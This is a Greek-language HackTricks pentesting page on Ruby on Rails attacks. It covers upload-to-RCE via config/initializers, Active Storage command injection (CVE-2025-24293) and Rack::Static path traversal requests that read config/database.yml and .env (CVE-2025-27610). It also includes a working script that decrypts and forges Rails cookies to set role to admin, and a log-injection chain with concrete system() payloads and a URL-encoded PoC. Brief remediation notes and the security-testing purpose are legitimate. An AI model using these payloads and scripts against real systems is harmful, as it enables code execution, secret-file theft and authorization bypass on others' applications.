Ruby Κόλπα

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ανέβασμα αρχείου προς RCE

Όπως εξηγείται στο this article, το ανέβασμα ενός .rb αρχείου σε ευαίσθητους φακέλους όπως config/initializers/ μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.

Συμβουλές:

  • Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες όταν είναι εγγράψιμες (π.χ., config/initializers/ είναι το κλασικό παράδειγμα). Αν βρείτε ένα arbitrary file upload που τοποθετείται οπουδήποτε κάτω από το config/ και αργότερα αξιολογείται/require-άρεται, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
  • Ψάξτε για dev/staging builds που αντιγράφουν user-controlled files μέσα στην εικόνα του container όπου το Rails θα τα φορτώσει στην εκκίνηση.

Active Storage image transformation → command execution (CVE-2025-24293)

Όταν μια εφαρμογή χρησιμοποιεί Active Storage με image_processing + mini_magick, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετασχηματισμού εικόνας, οι εκδόσεις Rails πριν τις 7.1.5.2 / 7.2.2.2 / 8.0.2.1 μπορούν να επιτρέψουν command injection επειδή ορισμένες μέθοδοι μετασχηματισμού επιτράπηκαν κατά λάθος από προεπιλογή.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Τι να δοκιμάσετε κατά τη δοκιμή

  • Εντοπίστε endpoints που δέχονται variant/processing options, ονόματα μετασχηματισμών, ή αυθαίρετα ImageMagick arguments.

  • Fuzzάρετε τα params[:t] και params[:v] για ύποπτα σφάλματα ή παρενέργειες εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να επιτύχετε εκτέλεση κώδικα στον host που εκτελεί τον image processor.

  • Αν έχετε μόνο read-access στα παραγόμενα variants, δοκιμάστε τυφλή εξαγωγή δεδομένων (blind exfiltration) μέσω crafted ImageMagick operations.

  • Αποκατάσταση/ανίχνευση

  • Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + image_processing + mini_magick και μετασχηματισμούς υπό έλεγχο χρήστη, θεωρήστε το εκμεταλλεύσιμο. Συστήστε αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και μια hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Αν το target stack χρησιμοποιεί Rack middleware άμεσα ή μέσω frameworks, εκδόσεις του rack πριν τις 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω Rack::Static όταν το :root δεν έχει οριστεί/είναι λανθασμένο. Κωδικοποιημένη traversal στο PATH_INFO μπορεί να αποκαλύψει αρχεία κάτω από τον working directory της διεργασίας ή από έναν μη αναμενόμενο root.

  • Ψάξτε για εφαρμογές που mount-άρουν Rack::Static σε config.ru ή στο middleware stack. Δοκιμάστε κωδικοποιημένες traversals ενάντια σε static paths, για παράδειγμα:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Προσαρμόστε το prefix ώστε να ταιριάζει με τα ρυθμισμένα urls:. Αν η εφαρμογή απαντά με περιεχόμενο αρχείου, πιθανότατα έχετε LFI προς οτιδήποτε κάτω από το επιλυμένο :root.

  • Μείωση κινδύνου: αναβαθμίστε το Rack; βεβαιωθείτε ότι το :root δείχνει μόνο σε έναν κατάλογο με δημόσια αρχεία και είναι ορισμένο ρητά.

Forging/decrypting Rails cookies when secret_key_base is leaked

Το Rails κρυπτογραφεί και υπογράφει cookies χρησιμοποιώντας κλειδιά που προέρχονται από το secret_key_base. Αν αυτή η τιμή leaks (π.χ., σε ένα repo, logs, ή misconfigured credentials), συνήθως μπορείτε να αποκρυπτογραφήσετε, να τροποποιήσετε και να ξανα-κρυπτογραφήσετε cookies. Αυτό συχνά οδηγεί σε παράκαμψη εξουσιοδότησης (authz bypass) αν η εφαρμογή αποθηκεύει ρόλους, user IDs, ή feature flags στα cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Σημειώσεις:

  • Older apps may use AES-256-CBC and salts encrypted cookie / signed encrypted cookie, or JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, cipher, και serializer.
  • Σε περίπτωση παραβίασης/αξιολόγησης, περιστρέψτε το secret_key_base για να ακυρώσετε όλα τα υπάρχοντα cookies.

Δείτε επίσης (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Όταν μια εφαρμογή (συχνά ένα απλό Rack/Sinatra/Rails endpoint) και:

  • καταγράφει μια συμβολοσειρά ελεγχόμενη από τον χρήστη αυτούσια, και
  • αργότερα loads ένα αρχείο του οποίου το μονοπάτι προκύπτει από την ίδια συμβολοσειρά (μετά το Pathname#cleanpath),

Συχνά μπορείτε να πετύχετε remote code execution δηλητηριάζοντας το log και στη συνέχεια αναγκάζοντας την εφαρμογή να load το αρχείο καταγραφής. Κύρια primitives:

  • Ruby load αξιολογεί το περιεχόμενο του στοχευόμενου αρχείου ως Ruby ανεξαρτήτως κατάληξης αρχείου. Οποιοδήποτε αναγνώσιμο αρχείο κειμένου των οποίων τα περιεχόμενα αναλύονται ως Ruby θα εκτελεστεί.
  • Pathname#cleanpath συμπτύσσει . και .. segments χωρίς να προσπελάσει το filesystem, επιτρέποντας path smuggling: attacker-controlled junk μπορεί να προστεθεί μπροστά για καταγραφή ενώ το καθαρισμένο μονοπάτι εξακολουθεί να επιλύεται στο επιθυμητό αρχείο προς εκτέλεση (π.χ. ../logs/error.log).

Ελάχιστο ευάλωτο μοτίβο

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Γιατί το log μπορεί να περιέχει έγκυρο Ruby

Logger γράφει προθεματικές γραμμές όπως:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Στη Ruby, # ξεκινάει ένα σχόλιο και 9/2/2025 είναι απλώς αριθμητική. Για να εγχύσετε έγκυρο κώδικα Ruby πρέπει να:

  • Begin your payload on a new line so it is not commented out by the # in the INFO line; send a leading newline (\n or %0A).
  • Close the dangling [ introduced by the INFO line. A common trick is to start with ] and optionally make the parser happy with ][0]=1.
  • Then place arbitrary Ruby (e.g., system(...)).

Παράδειγμα του τι θα καταλήξει στο log μετά από ένα αίτημα με κατασκευασμένη παράμετρο:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling ενός μοναδικού string που τόσο καταγράφει code όσο και επιλύεται στη διαδρομή του log

Θέλουμε ένα string ελεγχόμενο από attacker που:

  • όταν logged raw, περιέχει το Ruby payload μας, και
  • όταν περαστεί μέσω Pathname.new(<input>).cleanpath, επιλύεται σε ../logs/error.log οπότε το επακόλουθο load εκτελεί το μόλις μολυσμένο αρχείο log.

Pathname#cleanpath αγνοεί schemes και συμπτύσσει traversal components, οπότε το ακόλουθο λειτουργεί:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Το # πριν το :// εξασφαλίζει ότι το Ruby αγνοεί το υπόλοιπο όταν το log εκτελείται, ενώ το cleanpath εξακολουθεί να μειώνει το επίθημα σε ../logs/error.log.
  • Το αρχικό newline διασπά τη γραμμή INFO; το ] κλείνει την κρεμάμενη αγκύλη; το ][0]=1 ικανοποιεί τον parser.

Εκμετάλλευση από άκρο σε άκρο

  1. Στείλτε τα ακόλουθα ως όνομα του script αντιγράφου ασφαλείας (κωδικοποιήστε με URL το πρώτο newline ως %0A αν χρειάζεται):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Η εφαρμογή καταγράφει την ακατέργαστη συμβολοσειρά σας στο logs/error.log.
  2. Η εφαρμογή υπολογίζει το cleanpath που επιλύεται σε ../logs/error.log και καλεί load πάνω του.
  3. Το Ruby εκτελεί τον κώδικα που εισάγατε στο log.

Για να εξάγετε ένα αρχείο σε περιβάλλον τύπου CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (ο πρώτος χαρακτήρας είναι νέα γραμμή):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks